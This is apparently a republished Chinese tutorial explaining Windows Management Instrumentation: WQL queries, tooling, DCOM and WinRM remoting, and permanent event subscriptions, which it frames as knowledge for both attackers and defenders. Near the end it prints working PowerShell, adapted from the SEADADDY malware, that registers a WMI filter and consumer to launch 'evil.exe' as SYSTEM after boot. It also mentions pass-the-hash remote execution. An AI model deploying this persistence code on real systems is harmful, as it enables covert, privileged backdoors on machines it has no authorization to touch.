您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關如何利用WMI構建無文件后門,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
隨著技術的更新換代,很多技術在Windows系統中被引進和棄用,但是有一種非常強大的技術卻保留了下來,自Windows NT 4.0和Windows 95開始就一直延續下來,那就是Windows Management Instrumentation (WMI)
,即Windows管理工具。現在所有的Windows系統中都有這個工具,利用它包含的工具集,我們可以管理本地或遠程的計算機。
它不僅僅被系統管理員熟知,更因為Stuxnet
利用WMI來進行攻擊的原因而被廣大安全人員所知。由于WMI能夠提供系統信息收集,防病毒檢測,代碼執行,橫向移動,持久化和盜取數據的能力而很受黑客的歡迎。
隨著黑客越來越多的使用WMI技術,了解WMI知識并為已所用,對防御者來說就非常重要。
這個文章主要向讀者介紹WMI的主要功能,攻擊者如何使用WMI,如何通過WMI繞過IDS以及如何通過WMI Repository做取證。
WMI是Windows對WBEM
和CID
標準的實現。兩個標準目的是在企業環境中提供一個行業無關的,用于收集和傳輸Managed Component
(管理組件)信息的方法。
一個WMI的管理組件可以是一個進程,一個注冊表的鍵,一個安裝的服務或一個文件信息,等等。這些標準用來溝通確定實現者應該使用什么方法來query
(查詢),populate
(填充),structure
(構造),transmit
(傳輸),perform actions on
(執行操作)和consume data
(處理數據)。
管理組件即WMI的對象,是代表著高度結構化的操作系統數據的Class Instances
(類實例)。Microsoft提供了非常多的WMI對象來提供有關系統的信息,比如Win32_Process
,Win32_Service
,AntiVirusProduct
,Win32_StartupCommand
等。
Microsoft提供了一些用來處理WMI數據和執行WMI命令的方法。例如,PowerShell
提供給了我們一個非常簡單的與PowerShell交互的方式。
所有的WMI對象可以通過一個叫WQL
的查詢語言來查詢,這種語言與SQL相似,能夠讓我們精細地控制返回給用戶的WMI對象。
當用戶請求一個WMI對象時,WMI服務(Winmgmt)需要知道請求對象的數據填充方式。這個功能是通過WMI Providers
(WMI提供者)來完成的。一個WMI提供者就是一個在注冊表中擁有相關GUID
的注冊表鍵。WMI提供者在數據填充時,做了大量的動作,比如查詢所有進程,枚舉注冊表鍵等。
當WMI服務填充一個WMI對象時,會有兩種類實例:Dynamic Object
(動態對象)和Persistent Object
(永久化對象)。
動態對象是在進行查詢時生成的,例如,Win32_Process就是一個動態對象。
永久化對象是存儲在CIM Repository
(CIM庫)中的,默認放在%SystemRoot%\System32\wbem\Repository\OBJECTS.DATA
中。
WMI對象大部分的結構是通過Managed Object Format (MOF)
(管理對象格式)文件中描述的。MOF文件使用類似C++的語法來描述WMI對象。
當WMI提供者生成原始數據時,MOF文件對提供了這些數據的構造結構。從防御者的角度看,值得注意的是,WMI對象的定義可以不通過MOF文件,攻擊者可以通過在CIM庫中插入.Net
代碼來定義。
Microsoft提供了兩種用于遠程傳輸WMI數據的方法:DCOM
和Windows Remote Management (WinRM)
。
一些WMI對象包含一些可執行的方法/函數。例如,Win32_Process類的靜態函數Create
就經常被黑客用來做內網中的橫向移動。
WMI還提供了一個Eventing System
(事件系統),用戶可以注冊在WMI對象生成,修改或刪除時執行的事件處理程序。
操作系統信息是通過WMI對象的方式表示的。一個WMI對象也就是一個WMI類的實例。大多數常用的WMI類在MSDN中都有詳細的描述,如Win32_Process類。然而還有很多WMI類并沒有文檔可查,但是幸運的是,我們可以通過WQL來查詢所有的WMI類。
與傳統的面向對象編程語言相似,WMI類被分類分層的放在命名空間中。所有的命名空間都是從ROOT
命名空間下的,當不指定命名空間進行查詢時,Microsoft會使用ROOT\CIMV2
作為默認的命名空間。
所有的WMI設置,包括默認命名空間在下面的注冊表鍵中:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM
下面的PowerShell代碼會遞歸查詢所有的WMI類及其命名空間:
function Get-WmiNamespace {
Param ($Namespace='ROOT')
Get-WmiObject -Namespace $Namespace -Class __NAMESPACE | ForEach-Object {
($ns = '{0}\{1}' -f $_.__NAMESPACE, $_.Name)
Get-WmiNamespace -Namespace $ns
}
}
$WmiClasses = Get-WmiNamespace | ForEach-Object {
$Namespace = $_
Get-WmiObject -Namespace $Namespace -List |
ForEach-Object { $_.Path.Path }
} | Sort-Object -Unique
返回的WMI Class 路徑如下:
...
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__AbsoluteTimerInstruction
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ACE
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__AggregateEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ClassCreationEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ClassDeletionEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ClassModificationEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ClassOperationEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ClassProviderRegistration
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ConsumerFailureEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__Event
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventConsumer
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventConsumerProviderRegistration
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventDroppedEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventFilter
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventGenerator
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventProviderRegistration
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventQueueOverflowEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ExtendedStatus
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ExtrinsicEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__FilterToConsumerBinding
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__IndicationRelated
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__InstanceCreationEvent
...
WMI提供了一種非常直觀的語法用來查詢WMI對象的實例,類和命名空間,即WQL
。WQL查詢通常可以分為以下幾類:
Instance Queries(實例查詢):查詢WMI對象實例。
Event Queries(事件查詢):等同于在WMI對象創建/修改/刪除的時候注冊一個消息。
Meta Queries(元查詢):元查詢用來獲取WMI命名空間和類結構的元信息。
這是最常用的WQL查詢。基本的格式如下:
SELECT [Class property name | *] FROM [CLASS NAME] <WHERE [CONSTRAINT]>
例如,下面的查詢語句將返回所有可執行文件名中帶有chrome
的正在運行的進程:
SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%"
事件查詢被用作一種消息機制來監聽事件類的觸發。通常用來在一個WMI對象實例創建/修改/刪除的時候給用戶發送一個消息。根據消息類型是intrinsic
(系統自帶的)還是extrinsic
(第三方的),查詢語句格式不同:
SELECT [Class property name | *] FROM [INTRINSIC CLASS NAME] WITHIN [POLLING INTERVAL] <WHERE [CONSTRAINT]>
SELECT [Class property name | *] FROM [EXTRINSIC CLASS NAME] <WHERE [CONSTRAINT]>
下面的查詢將在用戶登錄的時候被執行:SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstanceISA 'Win32_LogonSession' AND TargetInstance.LogonType=2
下面的查詢將在用戶插入可移除設備時被執行:SELECT * FROM Win32_VolumeChangeEvent Where EventType=2
元查詢用來查詢WMI命名空間和類結構的信息。最常見的用法是用來列舉WMI命名空間的類結構。元查詢是實例查詢的一個子集,但是與對象查詢不同的是,我們查詢的是類的實例的定義。格式如下:
SELECT [Class property name | *] FROM [Meta_Class | SYSTEM CLASS NAME] <WHERE [CONSTRAINT]>
下面這個語句會查詢所有以WIN32
開頭的WMI的類:
SELECT * FROM Meta_Class WHERE __CLASS LIKE "Win32%"
下面這個語句會查詢某個命名空間下的所有命名空間:
SELECT Name FROM __NAMESPACE
注意,當不顯示的指定命名空間時,默認的命名空間為ROOT\CIMV2
。
Microsoft和一些第三方軟件開發者為我們提供了許多能夠與WMI交互的工具。下面是部分工具的一個不完全的列表:
PowerShell是一個非常強大的腳本語言,其中包含很多能夠與WMI進行交互的功能。對于PowerShell v3
版本來說,有如下:
Get-WmiObject
Get-CimAssociatedInstance
Get-CimClass
Get-CimInstance
Get-CimSession
Set-WmiInstance
Set-CimInstance
Invoke-WmiMethod
Invoke-CimMethod
New-CimInstance
New-CimSession
New-CimSessionOption
Register-CimIndicationEvent
Register-WmiEvent
Remove-CimInstance
Remove-WmiObject
Remove-CimSession
WMI命令和CIM命令的功能相似,但是在v3
版本的PowerShell中,CIM更加的靈活。使用CIM命令最大的好處就是它們可以在WinRM
和DCOM
協議下工作,而WMI命令只支持DCOM
協議。
從攻擊者的角度看,專門用來創建/修改/刪除WMI/CIM類的命令是不存在的。但是,使用WMI可以很容易的創建WMI類。
這篇文章的例子中將主要使用PowerShell,因為它的靈活性,并且攻擊者越來越多的使用它。
wmic.exe
是一款非常強大的用來與WMI交互的命令行工具。它有非常多而且方便的WMI對象的別名可使用,可以用來進行更加復雜的查詢。wmic.exe
還能夠執行WMI方法,攻擊者在做內網橫向移動時,用的就是Win32_Process的Create方法。但是有一個限制就是,我們不能執行一個接受內置WMI對象的方法。如果PowerShell不可用,用wmic.exe來做系統信息收集和執行一些基本操作還是可以的,它也是常常被滲透測試員和攻擊者使用。
wbemtest.ext
是一款強大的圖形化工具,是出于診斷工具來設計的。可以用來枚舉對象實例,執行查詢,注冊事件,修改WMI對象和類,本地或遠程執行。雖然界面不是非常友好,但是對攻擊者來說,在其他工具無法使用時,這個工具還是不錯的。
WMI Explorer是Sapien公司開發的一款商業工具,用來查找WMI類。它擁有非常好的界面,并且可以分層瀏覽WMI庫。它不可以連接遠程WMI庫并執行查詢。
CIM Studio是免費的,來自Microsoft,可以用它方便的瀏覽WMI庫,用來查找WMI類也是不錯的。
VBScript
和JScript
,雖然Microsoft提供的這兩個腳本語言名聲不太好,但是就與WMI交互功能來說,它們還是很強大的。事實上,有一個完整的后門程序就是使用這兩種腳本語言開發的,其中使用WMI功能完成了基本的C2 (Command and Control)
機制。
另外,稍后我們會詳細介紹,Event Consumer
(事件處理)接口ActiveScriptEventConsumer
,只有這兩種腳本語言,而這個接口對攻擊者和防御者來說都很有價值。
不管怎樣,在那些沒有PowerShell環境的老系統中,VBScript和JScript還是霸主地位。
請自行查看COM API for WMI
。如果想詳細分析包含WMI功能的惡意軟件的話,這個接口對逆向工程師來說也很重要。
.NET 類庫在System.Management
命名空間下提供了幾個用于與WMI交互的類,使用C#等語言編寫起來也很簡單。在下面的例子中,這些類會在PowerShell代碼中反復使用。
winrm.exe
可以在本地或遠程開啟WinRM服務的機器上枚舉WMI對象實例,調用方法,創建和刪除對象實例。winrm.exe也可用來配置WinRM服務。與WMI交互的理想方法是使用CIM命令的PowerShell,但是這個可以作為替代方法。
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe";CurrentDirectory="C:\"}
winrm enumerate http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process
winrm get http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_OperatingSystem
wmic
是一個用來執行WMI查詢的簡單的Linux命令行工具,可遠程調用Win32_Process的Create方法。wmis還接收NTML哈希。
WMI的強大體現在通過遠程操作的時候。目前,WMI支持兩種協議:DCOM
和WinRM
,使用這兩種協議可以做任何事情,包括查詢對象,注冊事件和執行WMI類的方法,等等。
兩種協議都對攻擊者有利,因為防御者通常不會檢查這兩種協議的惡意流量。利用WMI所需的東西就是可用的有權限的用戶憑證。在Linux平臺上的wmis-pth
工具中,只需要提供被攻擊者的用戶哈希即可。
從WMI被引入的時候起,DCOM
就被當作默認協議。DCOM通過135端口建立TCP連接,后續的數據交換則通過隨機選擇的TCP端口傳輸。這個端口可以通過dcomcnfg.exe
進行配置和修改,其最終是改動如下注冊表項:
HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet - Ports (REG_MULTI_SZ)
所有的PowerShell中內置的WMI命令都使用DCOM協議。
PS C:\Users\Michael\Desktop> Get-WmiObject -Class Win32_Process -ComputerName WIN-Q4UUJ0BPKL9 -Credential 'WIN-Q4UUJ0BPKL9\Administrator'
近來,WinRM已經超過了DCOM,被Windows當作建議使用的協議。WinRM基于Web Services-Management (WSMan)
規范,是一個SOAP-based
設備管理協議。另外,PowerShell Remoting
也是基于WinRM規范的,這使得我們能夠通過PowerShell在大規模Windows企業環境中實現強大的遠程管理功能。WinRM同樣支持WMI,或者說CIM的網絡操作。
默認情況下,WinRM服務開啟并監聽5985/tcp
端口,而且默認是加密的。還可以通過配置證書的方式在5986/tcp
端口實現HTTPS
支持。
通過GPO
,winrm.exe和PowerShell的WSMan
虛擬盤符,我們可以很方便的配置WinRM。
PS C:\Users\Michael\Desktop> ls WSMan:\localhost
WSManConfig: Microsoft.WSMan.Management\WSMan::localhost
Type Name SourceOfValue Value
---- ---- ------------- -----
System.String MaxEnvelopeSizekb 500
System.String MaxTimeoutms 60000
System.String MaxBatchItems 32000
System.String MaxProviderRequests 4294967295
Container Client
Container Service
Container Shell
Container Listener
Container Plugin
Container ClientCertificate
PowerShell提供了方便的命令去檢測WinRM服務是否處于監聽狀態——Test-WSMan
。
如果Test-WSMan有返回結果,則說明WinRM服務正常,而且這個命令不需要傳入認證信息。
PS C:\Users\Michael> Test-WSMan -ComputerName WIN-JF74R0AP7LN
wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor : Microsoft Corporation
ProductVersion : OS: 0.0.0 SP: 0.0 Stack: 3.0
如果要與運行著WinRM服務的系統的WMI進行遠程交互,可用命令有兩個:winrm.exe
和PowerShell的CIM命令
。
PS C:\Users\Michael> $s = New-CimSession -ComputerName win -Credential 'win\Michael' -Authentication Negotiate
PS C:\Users\Michael> Get-CimInstance -CimSession $s -ClassName Win32_Process
ProcessId Name HandleCount WorkingSetSize VirtualSize PSComputerName
--------- ---- ----------- -------------- ----------- --------------
0 System Idle P... 0 24576 0 win
4 System 545 839680 4771840 win
244 smss.exe 29 1056768 5234688 win
332 csrss.exe 664 4886528 97574912 win
372 wininit.exe 76 4255744 45420544 win
380 csrss.exe 290 15814656 168321024 win
...
3528 SGTool.exe 323 21172224 180084736 win
2808 WmiApSrv.exe 121 6074368 32092160 win
對攻擊者和防御者都非常強大的一個功能是,WMI擁有異步響應WMI事件的能力。加上適當的異常處理,WMI事件基本可以用來響應所有的操作系統事件。
WMI事件分兩類,包括運行在本地上下文環境當中的單個進程的事件和永久性WMI事件訂閱。(There are two classes of WMI events – those that run locally in the context of a single process and permanent WMI event subscriptions.)
本地事件有生命周期為進程宿主的周期,而永久性WMI事件是存儲在WMI庫中,以SYSTEM權限運行,并且重啟后依然存在。
為了能夠安裝一個永久性的WMI事件訂閱,必須滿足三個條件:
一個事件過濾器
一個事件處理:代表一個事件觸發時啟動的動作
一個處理綁定的過濾器:代表將一個過濾器綁定到一個事件處理的注冊機制
一個事件過濾器接收一個WMI事件查詢參數,并保存到ROOT\subscription:__EventFilter
對象的一個實例中。
事件過濾器支持以下類型的查詢:
Intrinsic Events
在當一個WMI類或對象創建,修改,刪除的時候被觸發,用來傳遞信息給啟動計時器或要執行的WMI方法,下面的這個Intrinsic Events在所有的WMI命名空間中都有,并以系統類的形式命名(以兩個下劃線開頭):
__NamespaceOperationEvent
__NamespaceModificationEvent
__NamespaceDeletionEvent
__NamespaceCreationEvent
__ClassOperationEvent
__ClassDeletionEvent
__ClassModificationEvent
__ClassCreationEvent
__InstanceOperationEvent
__InstanceCreationEvent
__MethodIvocationEvent
__InstanceModificationEvent
__InstanceDeletionEvent
__TimerEvent
這些事件都非常強大,因為它們可以用來觸發你能想象到的任何的操作系統事件。例如,一個人可以通過下面的命名在用戶登陸時觸發一個事件:SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType=2
上面的查詢的意思是,在一個登陸類型為2(交互式登陸)的Win32_LogonSession類的實例創建時,觸發一個事件。
由于特定Intrinsic Event的調用時間不同,我們必須在查詢中指定一個Polling Interval(時間間隔),也就是說,偶爾我們會觸發不了這樣的事件。比如一個事件查詢的目標是一個WMI類實例的創建,如果這個實例在我們指定的時間間隔內生成并銷毀了,那么這個事件將不會被查詢到。
Extrinsic Events解決了Intrinsic Events的時間間隔的問題,因為當一個事件發生時,一個Extrinsic Event就立即被觸發了,但劣勢是當前的WMI中的Extrinsic Events并不多,不過現有有這些也很強大了:
ROOT\CIMV2:Win32_ComputerShutdownEvent
ROOT\CIMV2:Win32_ProcessStartTrace
ROOT\CIMV2:Win32_ModuleLoadTrace
ROOT\CIMV2:Win32_ThreadStartTrace
ROOT\CIMV2:Win32_VolumnChangeEvent
ROOT\DEFAULT:Msft_WmiProvider*
ROOT\DEFAULT:RegistryKeyChangeEvent
ROOT\DEFAULT:RegistryValueChangeEvent
下面的命令可以查詢到用戶態和內核態下每個進程的所有模塊:SELECT * FROM Win32_ModuleLoadTrace
一個Event Consumer代表當一個事件觸發時進行的操作。可用的標準事件處理類:
LogFileEventConsumer: 將事件數據寫入到指定的日志文件
ActiveScriptEventConsumer: 用來執行VBScript/JScript程序
NTEventLogEventConsumer:創建一個包含事件數據的日志入口點
SMTPEventConsumer:將事件數據用郵件發送
CommandLineEventConsumer:執行一條命令
可以想象到,ActiveScriptEventConsumer和CommandLineEventConsumer類應該是攻擊者處理事件時使用最頻繁的。這兩個事件處理類給攻擊都提供了一種無文件式的執行任意代碼的靈活性。
所有的事件處理類都在從__EventConsumer
類繼承而來的。
下面的PowerShell代碼來自一個叫SEADADDY的惡意軟件的修改版,用來通過WMI做持久化的。其中,事件過濾是從PowerSploit的持久化模塊,用于在系統啟動時觸發,事件處理則以SYSTEM權限執行一個程序。
$filterName = 'BotFilter82'
$consumerName = 'BotConsumer23'
$exePath = 'C:\Windows\System32\evil.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=200 AND TargetInstance.SystemUpTime < 320"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
關于如何利用WMI構建無文件后門就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。